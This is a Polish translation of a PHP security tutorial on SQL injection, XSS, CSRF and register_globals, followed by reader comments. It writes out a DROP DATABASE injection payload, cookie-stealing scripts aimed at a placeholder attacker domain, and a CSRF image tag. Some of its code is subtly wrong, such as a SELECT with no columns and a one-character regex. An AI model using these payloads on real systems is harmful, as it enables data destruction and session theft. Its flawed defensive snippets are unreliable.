Bezpieczeństwo skryptów PHP to ostatnio często poruszany problem. Jeżeli nie zostaną podjęte odpowiednie kroki, elastyczność języka i łatwość pisania skryptów PHP może jednocześnie stanowić poważne zagrożenie dla ich bezpieczeństwa. Prosta możliwość pobrania danych ze strony internetowej daje jednocześnie potencjalną możliwość przeprowadzenia przeróżnych ataków, których celem jest kradzież informacji z bazy danych lub ich zniszczenie. Nie tylko dane znajdujące się na serwerze są zagrożone - możliwe są takie ataki, które mogą zaszkodzić wszystkim odwiedzającym przez proste "wstrzyknięcie" złośliwego kodu na stronie.
Na potrzeby tego artykułu opiszę klika popularnych ataków oraz sposoby obrony przed nimi. Zachęcam do zapoznania się z nimi przede wszystkim osoby początkujące, jako że ani dokumentacja PHP ani też przewodniki dla początkujących nie zwracają na ten problem wystarczającej uwagi. Podawane w nich przykłady są często podatne na ataki, a korzystający z nich są nieświadomi zagrożenia lub nie mają wystarczającej do odpowiedniego zabezpieczenia wiedzy.
Należy też pamiętać, że zagrożenia które opisuję nie odnoszą się jedynie do PHP. Jako, że wykorzystują one standardowy protokół HTTP każdy z języków skryptowych pracujących po stronie serwera może być zagrożony.
SQL injection ("wstrzykiwanie" komend SQL) to rodzaj zagrożenia, które może powstać w sytuacji, gdy za pomocą skryptu PHP pobierane są informacje z bazy danych a szczegółowe informacje dotyczące tego, jakie dokładnie dane skrypt powinien pobrać pochodzą z zewnątrz. Jest to spotykane zarówno w systemach zarządzania treścią jak i w znacznie prostszych skryptach. Dopóki zapytanie SQL budowane jest w oparciu o informacje przekazane do skryptu "z zewnątrz" skrypt może być narażony na atak typu SQL injection.
Załóżmy, że mamy skrypt, którego zadaniem jest wyświetlanie odpowiednich stron zależnie od wyboru użytkownika, który przekazywany jest do skryptu za pomocą zmiennej "page=" umieszczonej w adresie URL.
index.php?page=links
<?php $page= $_GET['page']; $res= mysql_query("SELECT FROM table_with_pages WHERE page_id='{$page}' LIMIT 1"); ?>
Powyższy przykład to bardzo popularny sposób pobierania danych z bazy, jednocześnie bardzo podatny na ataki. Atakujący musi jedynie ominąć pojedyncze znaki cudzysłowu i dodać odpowiednio spreparowany kawałek kodu:
index.php?page=%27%3B%20DROP%20DATABASE%20--
Jest to poprawne zapytanie URL, więc serwer zamieni zakodowane znaki na ciąg: '; DROP DATABASE. Spowoduje to zamknięcie rozpoczętego wcześniej cudzysłowu, wstawienie znaku kończącego zapytanie SQL (;), dodanie polecenia SQL powodującego usunięcie całej bazy danych i na koniec wstawienie znaku komentarza SQL (--) w celu usunięcia pozostałego z pierwotnego zapytania fragmentu polecenia SQL. W ten sposób możemy pożegnać się z naszą bazą danych.
Przytoczony przykład doskonale obrazuje zagrożenie. Należy pamiętać, że nie zawsze musi zadziałać dokładnie tak samo, szczególnie w przypadku gdy uprawnienia dostępu do bazy danych zostaną odpowiednio ustawione. Taki skrypt może jednak posłużyć do pozyskania lub umieszczenia przeróżnych informacji w naszej bazie danych - pobrania haseł użytkowników, zmiany hasła dla określonego użytkownika. Można również za jego pomocą zmodyfikować warunki wyszukiwania SQL za pomocą prostej reguły 'OR WHERE 1=1', przykładowo, pomijając w ten sposób sprawdzanie uprawnień dostępu lub jakikolwiek inne reguły wyszukiwania zamieszczone w zapytaniu SQL. Jest to możliwe, ponieważ dane przekazywane przez URL często są przekazywane do zapytania SQL właśnie jako warunki wyszukiwania.
Oczywiście, atakujący najprawdopodobniej nie pozna struktury bazy danych bez zobaczenia naszego kodu. Przy odpowiedniej ilość prób i odrobinie szczęścia może jednak uzyskać pewne informacje na temat budowy bazy danych, szczególnie w sytuacji gdy skrypt wyświetla na ekranie komunikaty o błędach (tym zagrożeniem dla bezpieczeństwa skryptu zajmiemy się później). Ale co z projektami open-source, których kod źródłowy jest dostępny dla wszystkich? Padają one bardzo często celem ataków, bo przy ogromnej ilości kodu nad którą pracuje bardzo dużo osób nie sposób wyłapać wszystkich błędów w skrypcie.
<?php $page= mysql_real_escape_string ($_GET['page']); $res= mysql_query("SELECT FROM table_with_pages WHERE page_id='{$page}' LIMIT 1"); ?>
<?php $page= (int) $_GET['page']; $res= mysql_query("SELECT FROM table_with_pages WHERE page_id={$page} LIMIT 1"); ?>
Kolejnym sposobem jest filtrowanie danych przechowywanych w zmiennych. Dla prostych identyfikatorów przeważnie wystarczą znaki alfanumeryczne (a-z0-9), w zupełności wystarczające w naszym przypadku.
<?php $matches= array(); preg_match ('/^([a-z0-9])$/i', $page, $matches); //Find page identifier in $matches[1] ?>
Oczywiście, jeżeli to tylko możliwe, nie ujawniaj kodu swoich skryptów.
Na koniec, należy pamiętać, że takie same zagrożenia dotyczą danych przekazywanych do skryptów za pomocą zapytania typu POST. Jako że nagłówki zapytania HTTP to nic innego jak zwykły tekst, atakujący może bardzo łatwo napisać odpowiedni program (przykładowo, w języku C), którego zadaniem będzie połączenie się z naszym skryptem i wysłanie spreparowanego zapytania metodą POST.
Ataki typu XSS (Cross Site Scripting) to ataki nastawione przeważnie na szeroko pojętą kradzież tożsamości i kradzież danych dostępowych od użytkowników danej witryny. Nie stanowią one bezpośredniego zagrożenia dla bazy danych, jak ataki SQL injection, ale zagrażają wszystkim użytkownikom witryny, a szczególnie administratorom, którzy mają bardzo szerokie uprawnienia do zarządzania witryną.
Ataki te polegają na dodaniu odpowiedniego kodu (przeważnie JavaScript) do jakiejkolwiek treści która będzie prezentowana użytkownikom - na blogach, forach, w komentarzach. Umieszczenie odpowiednio spreparowanego kodu JavaScript umożliwia na swój sposób przejęcie kontroli nad przeglądarką użytkownika oraz przeprowadzanie ataku bez jego wiedzy.
Najczęściej ataki XSS służą wykradaniu danych z plików cookie. Przeglądarka i poprawnie ustawiony plik cookie pozwala na przesłanie tego pliku jedynie dla tej samej domeny, z której został on ustawiony. Pliki cookie wykorzystywane są do przekazania danych identyfikujących użytkownika, czasem nawet haseł, przeważnie danych sesyjnych. Spreparowany kod JavaScript wykorzystywany jest do pobrania właściwego pliku cookie (dla domeny w której umieszczono zaatakowaną witrynę) i przekazaniu go pod zupełnie inny adres (do atakującego), gdzie informacje te mogą zostać następnie odczytane.
Przykładowo, za pomocą ataku XSS poniższy kod JavaScript może zostać zamieszczony w treści posta na forum czy komentarza na blogu. Nie będzie on widoczny dla użytkowników (chyba że zajrzą w kod źródłowy strony).
<script> document.location = 'http://attackers.domain.com/somescript.php?cookies=' + document.cookie; </script>
Zobaczmy co się dzieje. Skrypt przekierowuje przeglądarkę pod wskazany przez atakującego adres, przekazując jednocześnie dane dotyczące znajdujące się w pliku cookie użytkownika, który akurat odwiedził stronę. Skrypt przygotowany przez atakującego umieszczony na jego serwerze otrzymuje te dane, i tym samym stają się one dostępne dla atakującego.
<script> document.getElementById('some_div').innerHTML= '<img src="http://attackers.domain.com/somescript.php?cookies=' + document.cookie + ' />'; </script>
Aby zabezpieczyć się przed takimi atakami, musisz filtrować wszystkie dane pochodzące "z zewnątrz". Jeżeli przekazywane są jakiekolwiek dane, które następnie będą wyświetlane użytkownikom (nazwy użytkowników, posty na forum, notki na blogu, komentarze itp.) należy koniecznie filtrować te dane. Najprostszym sposobem filtrowania w celu uniknięcia ataków XSS jest zamiana wszystkich znaków specjalnych HTML na ich odpowiedniki. W ten sposób znak "<" zostanie zamieniony na "<", ">" na ">" a przeglądarka nie będzie traktowała więcej takiego kodu jako poprawnego kodu HTML, po prostu wyświetlając go na ekranie zamiast wykonania go. PHP posiada bardzo użyteczną funkcję, która potrafi zrobić dokładnie to, o co nam chodzi: htmlentities().
<script> alert("This is XSS!"); </script>
Ataki CSFR (Cross Site Request Forgery - przejęcie zapytania pomiędzy stronami) podobnie jak opisane wcześniej ataki XSS polegają na umieszczeniu odpowiednio spreparowanej treści w poście na forum, komentarzu na blogu, itp. - wszędzie tam, gdzie treść ta zostanie wyświetlona użytkownikom witryny.
W odróżnieniu od ataków XSS, ataki te nie wykorzystują JavaScript. W zupełności wystarczy zwykły HTML czy BBCode, co czyni je bardzo podstępnymi i wymagającymi szczególnej uwagi.
Zacznijmy od prostego przykładu. Załóżmy, że na swojej stronie masz skrypt, który znajduje się w pliku delete.php i odpowiedzialny jest za usuwanie określonych danych z bazy. Jako dane wejściowe przyjmuje identyfikator wskazujący które dane w bazie należy usunąć:
delete.php?id=123
Załóżmy, że atakujący wie o tym skrypcie. Wystarczy teraz, aby przykładowo w poście na forum umieścił obrazek z parametrem SRC wskazującym na nasz skrypt, nawet używając do tego BBCode:
[img]http://attackedsite.com/delete.php?id=123[/img]
Serwer taki zapis zrozumie jako poprawny zapis HTMLowego tagu IMG. Ktokolwiek odwiedzi stronę, na której umieszczony będzie ten skrypt spowoduje, że jego przeglądarka chcąc wyświetlić obrazek wywoła wskazany w parametrze SRC adres. Jeżeli skrypt nie jest odpowiednio zabezpieczony, treść oznaczona ID=123 zostanie usunięta z bazy.
Być może nie wygląda to na wielkie zagrożenie, ale wyobraź sobie co stanie się, jeżeli taką stronę odwiedzi administrator witryny. Brak JavaScript, brak niedozwolonych znaków, nic poza zwykłym wywołaniem obrazka. Administrator prawdopodobnie będzie zalogowany i ma odpowiedni poziom dostępu do strony, więc nawet jeżeli w skrypcie delete.php sprawdzane są uprawniania do jego wykonania (np. tylko administrator może usuwać treść) to po wykonaniu kodu przez przeglądarkę admina zniszczenia zostaną dokonane.
Na szczęście są sposoby aby w pewnym przynajmniej stopniu zabezpieczyć się przed takimi atakami:
Po pierwsze i najważniejsze - taki atak zadziała tylko w wypadku zapytania typu GET, jako że wykorzystanie obrazka jest jedyną metodą, z której w tym wypadku może skorzystać atakujący. Oczywiście nie biorąc pod uwagę skyrptów JavaScript, bo przed nimi jesteśmy już zabezpieczeni (ataki XSS). Wyjątek mogą stanowić strony w ramkach lub użycie ramek pływających (iframe), ale wstawianie tych tagów jest przeważnie zabronione na forach czy blogach. Tak więc, wszystkie szczególnie ważne zapytania powinny być wywoływane metodą POST. To oczywiście może trochę skomplikować budowę odpowiedniego skryptu, jako że zamiast zwykłego odnośnika wykorzystywanego przy metodzie GET należy zbudować formularz oraz dodać do skryptu jego obsługę.
Oczywiście, musisz pamiętać o dodatkowym potwierdzeniu przy wykonywaniu potencjalnie niebezpiecznych akcji. Nawet jeżeli padniesz ofiarą ataku typu CSRF będziesz musiał jeszcze samodzielnie potwierdzić wykonanie akcji.
Innym zabezpieczeniem może być porównywanie znaczników czasowych (timestamp). W formularzu, który uruchamia potencjalnie niebezpieczne akcje musisz dodać znacznik czasu, a w skrypcie wywoływanym przez ten formularz porównać przesłany z formularza znacznik z aktualnym znacznikiem wygenerowanym w skrypcie. Jeżeli różnica jest większa niż, powiedzmy, 10 sekund - nie wykonuj akcji. Założenie jest proste - po wejściu na stronę, na której musisz uruchomić akcję usuwającą dane, masz na to 10 sekund - po tym czasie skrypt odmówi wykonania akcji. Oczywiście, po ponownym wejściu na stronę (lub odświeżeniu) wygenerowany zostanie nowy znacznik czasu w formularzu. W takim wypadku, jeżeli trafisz na stronę, która może być żródłem ataku CSRF to jeżeli odwiedziłeś ją ponad 10 sekund temu - atak nie zadziała.
Pamiętaj jednak, że te zabezpieczenie nie są doskonałe. W niektórych skomplikowanych aplikacjach korzystających z AJAX dane pobierane są przez URL (GET), następnie obrabiane i wysyłane do skryptu na serwerze przy pomocy metody POST. W takim wypadku, jeżeli atakujący zna logikę i schemat działania twojej aplikacji (np. aplikacje open-source) możliwe jest przeprowadzenie ataku CSRF.
W dzisiejszych czasach te zagrożenie zostało praktycznie wyeliminowane przez odpowiednią konfigurację serwera, ale czasem można natknąć się na serwer, który nie jest należycie skonfigurowany, należy więc o nim wspomnieć.
W czasach jeszcze przed PHP4 powszechne było przekazywanie danych do skryptu z wykorzystaniem zmiennych globalnych. Przykładowo:
script.php?somevar=blahblah&anothervar=123
Jeżeli serwer PHP zezwala na rejestrowanie zmiennych globalnych, zmienne z adresu URL "somevar" i "anothervar" staną się globalnymi zmiennymi PHP - $somevar (zawierająca tekst "blahblah") i $anothervar (zawierająca liczbę 123).
Wygląda świetnie - nie musisz wtedy korzystać ze znacznie mniej wygodnego zapisu $_GET['somevar'] i $_GET['anothervar'] aby skorzystać z tych zmiennych. Niestety niesie to ze sobą zagrożenie dla bezpieczeństwa twojego skryptu. Oczywiście, nie samo z siebie, ale w połączeniu ze źle napisanym skryptem, w którym zapomniano o inicjalizacji zmiennych przed ich użyciem. Jeżeli atakujący w jakiś sposób pozna nazwy zmiennych w twoim skrypcie (tak tak, open-source) i zauważy, że używasz zmiennych bez wcześniejszego inicjowania ich wystarczy tylko aby przekazał dowolną wartość do zmiennej przez adres URL. Dokładnie tak, jak w przykładzie powyżej.
<?php if ($a=1) $somevar="thisorthat"; $res= mysql_query("INSERT INTO sometable (somefield) VALUES ('{$somevar}')"); ?>
Początkujący programista PHP założy, że jeżeli zmienna $a nie ma wartości 1 to zmienna $somevar będzie miała wartość NULL, tym samym zapytanie SQL będzie poprawne. Atakujący z z drugiej strony, zauważy tu szansę dla siebie.
Najprostszym sposobem zabezpieczenia przed użyciem tak rejestrowanych zmiennych globalnych jest ustawienie dyrektywy konfiguracyjnej register_globals na OFF. Obecnie większość serwerów PHP ma właśnie takie ustawienie domyślne, ale dla pewności warto to sprawdzić w pliku php.ini (tam znajduje się ta dyrektywa).
Jeżeli nie masz dostępu do pliku php.ini, utwórz pusty skrypt PHP i umieść w nim funkcję phpinfo(). Wyświetli ona ustawienia serwera i będziesz mógł zobaczyć jak ustawiona jest dyrektywa register_globals.
Jeżeli nie możesz modyfikować pliku php.ini a serwer na to pozwala, możesz ustawić odpowiednią wartość w pliku .htaccess:
php_flag register_globals off
Ostatecznie, skontaktuj się z administratorem serwera i poproś o wprowadzenie odpowiednich ustawień.
Skoro mowa o phpinfo(), wspomniałem wcześniej że rozsądnie jest nie wyświetlać komunikatów o błędach w skrypcie bezpośrednio na ekran, zapisując je zamiast tego do pliku z logiem. Raportowanie błędów może ujawnić wrażliwe informacje o twojej stronie: miejsce skryptu na serwerze czy strukturę tabel w bazie danych. PHP4 i wyższe domyślnie nie raportują błędów MySQL SQL, administratorzy piszą więc własny kod raportujący te błędy. Sprawdź, w jaki sposób odbywa się te raportowanie - nie chcesz przecież, żeby ktoś niepowołany poznał strukturę tabel w twojej bazie danych.
Ostatnim, ale równie ważnym krokiem w zabezpieczeniu twoich skryptów jest walidacja danych wejściowych. Sprawdzaj WSZYSTKIE dane jakie przekazywane są do twojego skryptu. Sprawdzaj, czy wszystkie zmienne POST jakie spodziewasz się otrzymać w skrypcie faktycznie zostały przesłane - atakujący często wysyłają niepełne żądania POST aby sprawdź jak zareaguje na nie twoja strona. Inicjalizuj WSZYSTKIE zmienne (niezależnie od ustawień dyrektywy register_globals) zanim ich użyjesz nadając im domyślną wartość. Sprawdzaj zmienne tekstowe pod kątem dozwolonych znaków, a dla zmiennych liczbowych ustal dozwolony zakres, zwłaszcza jeżeli dane które przechowują używane są jako identyfikatory służące do operacji na danych z bazy.
Dodatkowo, korzystaj z dodatkowej walidacji za pomocą JavaScript. Prawdziwi użytkownicy przejdą walidację za pomocą JavaScript, natomiast atakujący będę próbować ominąć zabezpieczenie z użyciem JavaScript i wyślą zapytanie bezpośrednio do skryptu. W takim wypadku, kiedy twój skrypt rozpozna błędy w danych (które nie były sprawdzane przez JavaScript, bo trafiły bezpośrednio do skryptu) zamiast raportowania o ich wystąpieniu po prostu przekieruj takie żądanie na stronę główną. W ten sposób atakujący nie dowie się, czy jego ataki przyniosły oczekiwany efekt i nie poznają logiki działania twojej aplikacji.
Możesz też zapisywać adresy IP w przypadku prób ataku SQL injection i automatycznie blokuj użytkowników przychodzących z tych adresów. Przy założeniu, że dane niezawierające błędów pochodzą od użytkownika, bo zostały sprawdzone za pomocą JavaScript można założyć, że źródłem niepoprawnych danych będzie przeprowadzony atak - można automatycznie zablokować atakującego.
Ten sposób niesie ze sobą pewne zagrożenie o którym musisz pamiętać. Jeżeli atakujący zorientuje się, że jest blokowany na podstawie adresu IP może celowo przeprowadzić serię ataków z adresów IP należących np. do dużego dostawcy internetu, co spowoduje również zablokowanie dostępu do strony użytkownikom korzystającym z usług tego samego dostawcy. Tak więc, blokuj dostęp, ale rób to rozważnie.
W tym poradniku poruszyłem niektóre popularne zagrożenia dla skryptów PHP. Zdecydowanie radzę dalsze poszukiwanie informacji na ten temat, jako że hakerzy z każdym dniem poszukują (i znajdują) nowych sposobów na złamanie zabezpieczeń. Również zaprezentowane rozwiązania nie są jedynymi z jakich można skorzystać, ale tymi najbardziej popularnymi. Z pewnością znalazłyby się lepsze i sprytniejsze sposoby zabezpieczenia.
W każdym razie, jeżeli jesteś początkującym programistą PHP, postaraj się aby zaprezentowane rozwiązania stały się twoim nawykiem. Niech ten nawyk nie pozwoli ci nigdy, przenigdy użyć wartości ze zmiennej w zapytaniu SQL bez wcześniejszego sprawdzenia jej pod kątem znaków specjalnych czy przykładowo zmiany typu danych na typ liczbowy. Pamiętaj, że ataki SQL injection są zawsze wykonywane jako pierwsze kiedy ktoś atakuje nasz serwer.
odpowiedź na:
CSRF - dodatek
Sobota 03 Maj 2008 1:59:59 am - devnul <mail_at_zalogowanego.usera>
atak CSRF polega na "podłożeniu świni" a nie na "zabiciu świni", przecież tam właśnie o to chodzi, że atakujący tylko podsuwa mozliwośc wykonania groźnej akcji a sama akcję wykonuje juz zalogowany user/admin. Zatem wykonujący akcje będzie miał poprawna sesję i "klucze" do wszystkich zabezpieczeń.
Poza tym nie trzeba pisac dodatkowych zabezpieczeń, tam, gdzie podstawowe powinny wystarczyć i tu wracamy do walidacji danych przychodzących. W tym przypadku wystarczy zabezpieczyć BBcode i inne bajery, sprawdzając choćby czy to naprawdę obrazek np. funkcja getimagesize, która zwróci false jeżeli nie znajdzie obrazka (oczywiście można sie pokusić o sprawdzanie typu mime, ale nie każdy serwer ma poprawnie skonfigurowane biblioteki). Równie dobrym sposobem, będzie przepuszczanie obrazków z BBcode przez jakiegos regexpa, lub zwykłe obcięcie wszystkiego co po pytajniku.
ja tylko słówko odnośnie CSRF. Jest jedna bardzo dobra metoda na zabezpieczenie się i wypada to dodać. Mianowicie, należy wygenerować unikalny dla danej sesji identyfikator (liczba/hash/cokolwiek) który trzymamy w właśnie w sesji. Identyfikator ten dodajemy do każdego potencjalnie niebezpiecznego żądania i oczywiście sprawdzamy jego poprawność z ID zapisanym w sesji. Pozwala to na stosowanie żądań typu GET bez obawy przed CSRF i zabawy w formularze itp. Napastnik nie może najzwyczajniej w świecie znać aktualnego ID generowanego dla jednej tylko sesji
@yaotzin: oczywiście masz po części rację. Tylko po części. Przejrzyj chociażby forum.php.pl i sprawdź ilu początkujących programistów ma problemy z PDO a ile ma problemy z mysql_query(). Poza tym, z twojej wypowiedzi dałoby się wywnioskować, że skoro mamy PDO to na bezpieczeństwie znać się nie musimy, bo zna się za nas właśnie PDO. Nie jestem pewien czy to dobra droga.
@ocochodzi: tłumacze tłumaczą, decydenci decydują. Co do tego artykułu były pewne wątpliwości merytoryczne, ale akurat w ogóle nie z tej strony z której tu się szuka dziury w całym. Nie widzę natomiast sensu w twierdzeniu, że jako tłumacz polecam artykuł w jakikolwiek sposób.
Dalszą dyskusję proponuję przenieść na forum, o ile w ogóle jest potrzebna.
pozdr.
Oj, ostro. Odmawiasz człowiekowi umiejetnosci czytania ze zrozumieniem, a skąd ta pewność, że on pytał CIEBIE? Może formą krytyki były pytania retoryczne - tak np. ja to odebrałem. Poza tym... Jesli (JEŚLI) tłumacze na tym portalu sami decydują co przetłumaczyć i sami decydują o wstawieniu artykułu, to chyba można się spodziewać, że odrobineczkę polecają artykuł. Czyż nie?
Chyba wyłączę komentowanie bo widzę, że są trudności czytania ze zrozumieniem. Powyższa publikacja jest TŁUMACZENIEM. Niczym więcej. Zatem proszę kierować pytania do autora link znajduje się na dole publikacji tuż za słowem "Źródło:".
Nie mniej zapraszam do dyskusji gdyż temat jest ciekawy.
Nawiasem mówiąc nie wszyscy programiści korzystają z PDO - i choć to dziwne ta publikacja może pomóc zrozumieć dlaczego PDO może się przydać.
Pozdrawiam
Itsme
No proszę napisano artykuł chyba już z tysięczny który opisuje sposób zabezpieczania się przed atakami przy wykorzystaniu mysql_query. A pan autor słyszał kiedyś o PDO ?? o metodach Bind itp ?? Jakiś młody programista nowicjusz przeczyta to i będzie programował z wykorzystaniem starych wzorców. Jak najbardziej zgadzam sie że trzeba się porządnie zabezpieczyć przed podstawowymi atakami, ale nie można uczyć nowicjuszy złych wzorców biorąc pod uwagę fakt że pewnie sam autor kogoś później skrytykuje bo nie programuje tak jak wymaga tego najnowsza wersja PHP oznaczona numerkiem 7512 (to sarkazm) albo i więcej.